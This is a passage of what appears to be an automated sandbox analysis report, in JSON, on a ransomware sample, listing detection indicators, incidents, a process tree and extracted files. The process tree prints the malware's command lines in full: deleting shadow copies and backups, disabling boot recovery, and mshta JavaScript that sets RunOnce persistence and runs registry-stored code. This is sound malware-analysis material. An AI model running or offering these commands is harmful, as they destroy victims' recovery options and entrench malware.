Call","relevance":8,"id":"api-2","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Disables startup repair","description":"Disables startup repair \"cmd.exe\" with commandline \"/c bcdedit /set {default} recoveryenabled No\" (UID: 00034724-00003416)\n Disables startup repair \"bcdedit.exe\" with commandline \"bcdedit /set {default} recoveryenabled No\" (UID: 00035305-00003032)","origin":"Monitored Target","relevance":8,"id":"target-5","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Monitors specific registry key for changes","description":"\"\" monitors \"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Tracing\\Sample_5ad64c399a911230fa2fc0e7_RASAPI32\" (Filter: 14; Subtree: 2147483648)\n \"\" monitors \"\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\Control\\NetworkProvider\\HwOrder\" (Filter: 4; Subtree: 2147483648)\n \"systems.exe\" monitors \"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Tracing\\systems_RASAPI32\" (Filter: 14; Subtree: 0)\n \"systems.exe\" monitors \"\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\Control\\NetworkProvider\\HwOrder\" (Filter: 4; Subtree: 0)","origin":"API Call","relevance":4,"id":"api-12","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Opens the MountPointManager (often used to detect additional infection locations)","description":"\"\" opened \"\\Device\\MountPointManager\"\n \"systems.exe\" opened \"\\Device\\MountPointManager\"","origin":"API Call","relevance":5,"id":"api-51","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Deletes volume snapshots (often used by ransomware)","description":"Deletes volume snapshots files \"vssadmin.exe\" with commandline \"vssadmin Delete Shadows /All /Quiet\" (UID: 00035122-00003712)","origin":"Monitored Target","relevance":10,"id":"target-4","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Detected indicator that file is ransomware","description":"$2e","origin":"File/Memory","relevance":7,"id":"string-13","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"The input sample dropped very many files","description":"The input sample dropped 698 files (often an indicator for ransomware)","origin":"Binary File","relevance":5,"id":"binary-10","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate processes/modules/threads","description":"CreateToolhelp32Snapshot@KERNEL32.DLL at 00032187-00003584-2532-141-004126E4","origin":"Hybrid Analysis Technology","relevance":5,"id":"stream-20","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Contains ability to open the clipboard","description":"OpenClipboard@USER32.dll at 33971-2442-004075C4\n OpenClipboard@USER32.DLL at 00026810-00002140-45647-1552-004075C4\n OpenClipboard@USER32.DLL at 00030210-00002300-57375-2170-004075C4\n OpenClipboard@USER32.DLL at 00032187-00003584-19761-2170-004075C4","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-0","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"$2f","origin":"API Call","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$30","origin":"API Call","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"mshta.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"mshta.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","origin":"Registry Access","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")\n \"mshta.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"RegDeleteKeyA\n RegOpenKeyA\n RegCloseKey\n OpenProcessToken\n RegOpenKeyExA\n RegDeleteValueA\n RegCreateKeyExA\n RegEnumKeyA\n OpenFileMappingA\n WriteFile\n GetModuleFileNameW\n GetModuleFileNameA\n LoadLibraryExA\n UnhandledExceptionFilter\n TerminateProcess\n GetTickCount\n GetVersionExA\n LoadLibraryA\n GetStartupInfoA\n DeleteFileA\n GetProcAddress\n FindFirstFileA\n FindNextFileA\n IsDebuggerPresent\n CreateFileA\n LockResource\n GetCommandLineA\n MapViewOfFile\n GetModuleHandleA\n CreateProcessA\n Sleep\n FindResourceA\n VirtualAlloc\n GetLastActivePopup\n FindWindowExA\n SetWindowsHookExA\n FindWindowA\n GetWindowThreadProcessId","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"\"\" wrote bytes \"4053597758585a77186a5a77653c5b770000000000bfb8760000000056ccb876000000007ccab87600000000376873756a2c5b77d62d5b7700000000206973750000000029a6b87600000000a48d737500000000f70eb87600000000\" to virtual address \"0x76911000\" (part of module \"NSI.DLL\")\n \"mshta.exe\" wrote bytes \"94989b7551c19b75efb2a175ee9c9b7575dc9d7590979b7510999b7500000000013db97638edb976cfcdb8763123b876de2fb976c4cab87680bbb876aa6eb9769fbbb876707fb77692bbb87646bab8760abfb87600000000\" to virtual address \"0x70AE1000\" (part of module \"MSLS31.DLL\")","origin":"Hook Detection","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"44/66 Antivirus vendors marked sample as malicious (66% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"44/66 Antivirus vendors marked sample as malicious (66% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"44/66 Antivirus vendors marked spawned process \"\" (PID: 2300) as malicious (classified as \"Trojan.Generic\" with 66% detection rate)\n 44/66 Antivirus vendors marked spawned process \"systems.exe\" (PID: 3584) as malicious (classified as \"Trojan.Generic\" with 66% detection rate)","origin":"Monitored Target","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"malicious","category":"Installation/Persistance","name":"Writes data to a remote process","description":"$31","origin":"API Call","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$32","origin":"Monitored Target","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]}],"incidents":[{"name":"Ransomware","details_count":1,"details":[{"detail":"Detected indicator that file is ransomware"}],"sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"Persistence","details_count":2,"details":[{"detail":"Writes data to a remote process"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"Fingerprint","details_count":2,"details":[{"detail":"Found a dropped file containing the Windows username (possible fingerprint attempt)"},{"detail":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Opens the MountPointManager (often used to detect additional infection locations)"}],"sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]}]},"activity":{"stats":{"process_count":17,"spawned_processes_count":17,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":12,"imported_dlls_count":86,"dropped_files_count":0,"extracted_files_count":42,"files_written_count":74,"files_deleted_count":0,"registry_keys_created_count":5,"registry_keys_modified_count":0,"registry_keys_deleted_count":4,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":9,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":0,"dns_resolutions_count":0,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":["betisrypt","crypt","downloader","filecoder","genasom","lockcrypt","ransomware","tiggre"],"sample_flags":["Multi-Process","Extracted Files"],"sandbox_reports":[{"id":"5ad7923e7ca3e153c45c1346","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.Generic","submit_name":"Sample_5ad64c399a911230fa2fc0e7.false","analysis_start_time":"2018-04-18T20:46:08+00:00","indicators_count":{"informative":22,"suspicious":32,"malicious":6},"tags":["Multi-Process","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":null,"dns_resolutions":null,"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}],"processes":[{"pid":2140,"ppid":0,"name":"Sample_5ad64c399a911230fa2fc0e7.false.exe","command_line":"","sha256":"f0b52c82f2590f24ca7c93990ffe62583b66209fcffd29d89f42e0ac1781beed","normalized_path":"C:\\Sample_5ad64c399a911230fa2fc0e7.false.exe","uid":"00026810-00002140","icon":"$33"},{"pid":1912,"ppid":2140,"name":"cmd.exe","command_line":"/c copy /y \"C:\\Sample_5ad64c399a911230fa2fc0e7.false.exe\" \"%APPDATA%\\systems.exe\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00026810-00002140","uid":"00030166-00001912"},{"pid":2300,"ppid":2140,"name":"Sample_5ad64c399a911230fa2fc0e7.false.exe","command_line":"runas","sha256":"f0b52c82f2590f24ca7c93990ffe62583b66209fcffd29d89f42e0ac1781beed","normalized_path":"C:\\Sample_5ad64c399a911230fa2fc0e7.false.exe","parent_uid":"00026810-00002140","uid":"00030210-00002300"},{"pid":1492,"ppid":2300,"name":"cmd.exe","command_line":"/c copy /y \"C:\\Sample_5ad64c399a911230fa2fc0e7.false.exe\" \"%APPDATA%\\systems.exe\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00030210-00002300","uid":"00032142-00001492"},{"pid":3584,"ppid":2300,"name":"systems.exe","command_line":"","sha256":"f0b52c82f2590f24ca7c93990ffe62583b66209fcffd29d89f42e0ac1781beed","normalized_path":"%APPDATA%\\systems.exe","parent_uid":"00030210-00002300","uid":"00032187-00003584"},{"pid":576,"ppid":3584,"name":"mshta.exe","command_line":"\"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('systems.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\hezOH',i);}catch(e){}},10);\"","sha256":"db40b518deb81b146cc81b0c360aecc84204e3cdc108b1f5f158ee60c1792806","normalized_path":"%WINDIR%\\System32\\mshta.exe","parent_uid":"00032187-00003584","uid":"00034177-00000576"},{"pid":692,"ppid":3584,"name":"mshta.exe","command_line":"\"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\QAWTY\\\\JCSJC'));close();\"","sha256":"db40b518deb81b146cc81b0c360aecc84204e3cdc108b1f5f158ee60c1792806","normalized_path":"%WINDIR%\\System32\\mshta.exe","parent_uid":"00032187-00003584","uid":"00034180-00000692"},{"pid":2476,"ppid":692,"name":"cmd.exe","command_line":"/c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00034180-00000692","uid":"00034576-00002476"},{"pid":2680,"ppid":2476,"name":"wbadmin.exe","command_line":"wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0","sha256":"be527c6085cd944097de35b9740fc4dd24d455567bec596e9cc300d70c5a392d","normalized_path":"%WINDIR%\\System32\\wbadmin.exe","parent_uid":"00034576-00002476","uid":"00034729-00002680"},{"pid":2056,"ppid":692,"name":"cmd.exe","command_line":"/c wmic SHADOWCOPY DELETE","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00034180-00000692","uid":"00034626-00002056"},{"pid":4036,"ppid":692,"name":"cmd.exe","command_line":"/c vssadmin Delete Shadows /All /Quiet","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00034180-00000692","uid":"00034678-00004036"},{"pid":3712,"ppid":4036,"name":"vssadmin.exe","command_line":"vssadmin Delete Shadows /All /Quiet","sha256":"e09bf4d27555ec7567a598ba89ccc33667252cef1fb0b604315ea7562d18ad10","normalized_path":"%WINDIR%\\System32\\vssadmin.exe","parent_uid":"00034678-00004036","uid":"00035122-00003712"},{"pid":3416,"ppid":692,"name":"cmd.exe","command_line":"/c bcdedit /set {default} recoveryenabled No","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00034180-00000692","uid":"00034724-00003416"},{"pid":3032,"ppid":3416,"name":"bcdedit.exe","command_line":"bcdedit /set {default} recoveryenabled No","sha256":"aa501dc5b621527b0e3dd2787d4969647631c4904d3ae9fc06d177251bc760e3","normalized_path":"%WINDIR%\\System32\\bcdedit.exe","parent_uid":"00034724-00003416","uid":"00035305-00003032"},{"pid":3944,"ppid":692,"name":"cmd.exe","command_line":"/c bcdedit /set {default} bootstatuspolicy ignoreallfailures","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00034180-00000692","uid":"00034754-00003944"},{"pid":3688,"ppid":3944,"name":"bcdedit.exe","command_line":"bcdedit /set {default} bootstatuspolicy ignoreallfailures","sha256":"aa501dc5b621527b0e3dd2787d4969647631c4904d3ae9fc06d177251bc760e3","normalized_path":"%WINDIR%\\System32\\bcdedit.exe","parent_uid":"00034754-00003944","uid":"00035073-00003688"},{"pid":2316,"ppid":2300,"name":"mshta.exe","command_line":"\"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('Sample_5ad64c399a911230fa2fc0e7.false.exe');close()}catch(e){}},10);\"","sha256":"db40b518deb81b146cc81b0c360aecc84204e3cdc108b1f5f158ee60c1792806","normalized_path":"%WINDIR%\\System32\\mshta.exe","parent_uid":"00030210-00002300","uid":"00032191-00002316"}],"all_imported_dlls":["ntlanman.dll","cscapi.dll","rsaenh.dll","ntdsapi.dll","rtutils.dll","nlaapi.dll","rpcss.dll","msimtf.dll","pdh.dll","davclnt.dll","mshtml.dll","oleacc.dll","sechost.dll","secur32.dll","gpsvc.dll","clbcatq.dll","propsys.dll","dwmapi.dll","vss_ps.dll","usp10.dll","urlmon.dll","davhlpr.dll","apphelp.dll","wininet.dll","devobj.dll","ntdll.dll","psapi.dll","profapi.dll","wtsapi32.dll","winsta.dll","cryptbase.dll","scrrun.dll","vsstrace.dll","winbrand.dll","KernelBase.dll","comdlg32.dll","ole32.dll","rasman.dll","uxtheme.dll","sysntfy.dll","oleaccrc.dll","jscript.dll","lpk.dll","rpcrt4.dll","setupapi.dll","browcli.dll","ieframe.dll","slc.dll","vssapi.dll","imm32.dll","netutils.dll","version.dll","sxs.dll","Wldap32.dll","msls31.dll","cryptsp.dll","blbres.dll","gdi32.dll","comctl32.dll","advapi32.dll","shell32.dll","oleaut32.dll","msctf.dll","ws2_32.dll","ntmarta.dll","drprov.dll","msvcrt.dll","shlwapi.dll","winmm.dll","nsi.dll","gpapi.dll","mpr.dll","crypt32.dll","userenv.dll","sspicli.dll","iertutil.dll","cfgmgr32.dll","wkscli.dll","RpcRtRemote.dll","credui.dll","atl.dll","kernel32.dll","user32.dll","msvfw32.dll","rasapi32.dll","msasn1.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"IF YOU WANT TO GET ALL YOUR FILES BACK, PLEASE READ THIS.TXT","sha256":"8e8192fc18f0a9737bf662135c793df8b984681c23f4e065a5003f66c2c933c6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"Liesmich.htm","sha256":"f255d743d6dd508dc2a4790accda1f06acf0e3169b861c71150aabf876544445","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"ReadMe.htm","sha256":"fa1df4185f012e966da3d2d1d0f8209695744f8869ec13e983ca57eecbadc2e8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"AGMGPUOptIn.ini","sha256":"6d46a999e40b9d360f9e496593eae9d95c16a2c53c199f3d8047093a190f2dc0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"cef.pak","sha256":"89dc7a2fbba3195ab1fb8dcdd15fb01774c6a610fd6e021ac69f7e74739698cf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"en-US.pak","sha256":"d7575a58a8ac0f24c179ae265bc88893a3f7f3db36f2b6ae2908fc96b7d1b47a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"Adobe.Reader.Dependencies.manifest","sha256":"b9e8d92f1c59780dcf3874ce95ed96eb063698cf1f8de3f99f0d65e35c50fcf1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"nppdf32.DEU","sha256":"537b1c54bfde8ea4ef438a58ad95fd428c57963f07099818cc0c689c47e55451","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"AdobeID.pdf","sha256":"215a0dad572b096cdbf86af4f2ff654b6abe9f1fb73d5cee3d3ada76e1bb9acf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"DefaultID.pdf","sha256":"3af1718e48c5a9e5e99c3782ba5569f5f17e3ac71fc206bb64cd266198069b96","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"JSByteCodeWin.bin","sha256":"b7eaac949596a57db2e36079c283ae6907b58f0d01b278a8bf263f7378c1936c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"eula.ini","sha256":"cf5d0924c5f2aa683b08b46a449097848fff46fd8121f1d378e70c190be2da2d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"license.html","sha256":"e6e31c642211dcd90f72ddffc42fa2574357650ac3b7bb056c65def38e14b0ac","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"PDFSigQFormalRep.pdf","sha256":"1eb999da6d3bd13ba3c57363bc93479d8e3a14868538978f5d027903fa9d358d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"RTC.der","sha256":"7b9b08c79265c163e7f131d5233429a8715e857fba9cad055dbdf518ff8503ce","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"cryptocme.sig","sha256":"bb9e04dcb5827e23828b332744c79b233199115d39f8d18f5b0c9cc65b069f90","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"pmd.cer","sha256":"b02ac63b6cfe57d64421c81d5d0b3a5f941f42050a61158a4ac9a97c10a2b823","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"autoexec.bat","sha256":"d7b834cddc19ff913eba187ea33bf1b25aef40966e1a980c612c367d9814181f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"MineSweeper.lnk","sha256":"9285029c5a535fb4f474d2d7a6027ca8a7c4def271f7d85cd1d64cdd8aa9a30c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"rRgk91Ih5n.doc","sha256":"a82d10ce78d3dce73eee702128d1188ad22d17f4f064a5939a1e93110c6f7aba","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"dH1rDN9f9.doc","sha256":"b31d1e35a0e9a6f89c92db22f9efb7e368280215681b50246e5da337e56f2fc2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"6SZfLTu9z.doc","sha256":"f2d7c5af3c090daed55ab7720ad2255b3fbcd001d50060424fdde9a2e8a5c51e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"lCEf83Wf7e4nuIMk.doc","sha256":"6a0fc78b7c9fc7a17d2577d6f56493c707901d211a8306499e668ab106e02f38","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"C04T72pR0Bcl.doc","sha256":"a1123c31dfbe17d2013d3eaa0567aad3639a6481bb892b560262fac7ca7c0b3f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"Desktop.lnk","sha256":"1355d9f0779021cffe48c55796a88a2e6fcdd754b28dc5b043c94b186436e601","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"w5JaoO.doc","sha256":"2591b271b1bac2324253f75fab7f5338a0eeaea10a6e9ecff7ed14992dfb155b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"Downloads.lnk","sha256":"e0665bf68256d2c3fd7cc8cf6adb67a3d31f6a0cc3f292d988c6b9edb86e5702","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"bg3oTe.doc","sha256":"57db8aa9e051d1cb8b63cbcb274d690dc364eb9263d161eb84e45b66e1ca04cf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"0zIG0D.doc","sha256":"80cb452c1bb88460c1bc858b20b2a1848e03813c64e89f7c2b4353d30d47bbe2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"Windows Media Player.lnk","sha256":"19088ed39f9b3b55a75f7c1c8208bdf548c1bf1203bc5044c15aa811fc770ca4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"Sticky Notes.lnk","sha256":"37620b7e3349cd9bb6abbf433dc4a279a3233d1a510ffb3e73c4dc8f52a78696","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"Calculator.lnk","sha256":"d79455806386740e79bfdc3c463fd00268202d911108588f7445c97bd4bd99b2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"klmqz.doc","sha256":"d51183e3e0f81e4459e395864b520831695431892c89e98133c6c20b1c785d35","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"mtgFs8Za.doc","sha256":"06691fdc7b07669638e82e183cc188ecc0fe7edd058b87297d8c7e3f3766a784","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"RecentPlaces.lnk","sha256":"2a6cdf93a9c414abb0e9917ed11f912395067b473c1482021605e44f37f356f2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"F3hzum1.doc","sha256":"cf2f88fe93a0fe4a3356a7b272a10a6f167939dfc4748efd5e73c863b8fa5505","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"Tmg2wsFHYf9ioO.doc","sha256":"93b61ffa8ee8393e4878cb9872b4a0f34b3950f9dbda663f45d606c9ceec1eb4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"hKY8.doc","sha256":"686f109c59dd763752c6d5029f1d6acfa8e48c16692908e8ff745a1336ee430b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"5F1yaAIKfUGQcmmt.doc","sha256":"c9a9edae6c7ea3198f7e81f2ab9846ac65cbe6ade9b053b4723899f1aa6ab14b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"0gakl8ixtWMkw.doc","sha256":"2e9042d33ab5afa5c60a8a4778a5f86f280c0fe31ddd84ce8c1795afe12dc7ed","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"EKeaJO.doc","sha256":"d5b7c39fd82478eb126dd65c23a5fcecb69ead465ed15c6d62cfe84cb4dc91d5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"Paint.lnk","sha256":"1ec3106271ecea61213b69dce4e9e835cf7759baa071980fa436670cc3750991","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]}],"files_written":[{"path":"C:\\Sample_5ad64c399a911230fa2fc0e7.false.exe:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%APPDATA%\\systems.exe:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%WINDIR%\\System32\\en-US\\user32.dll.mui","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%WINDIR%\\System32\\en-US\\msvfw32.dll.mui","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"C:\\Users\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%WINDIR%\\System32\\mshta.exe","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%WINDIR%\\system32\\en\\mshta.exe.mui","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%WINDIR%\\System32\\en-US\\mshta.exe.mui","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%WINDIR%\\System32\\en-US\\msctf.dll.mui","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%WINDIR%\\System32\\oleaccrc.dll","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%WINDIR%\\System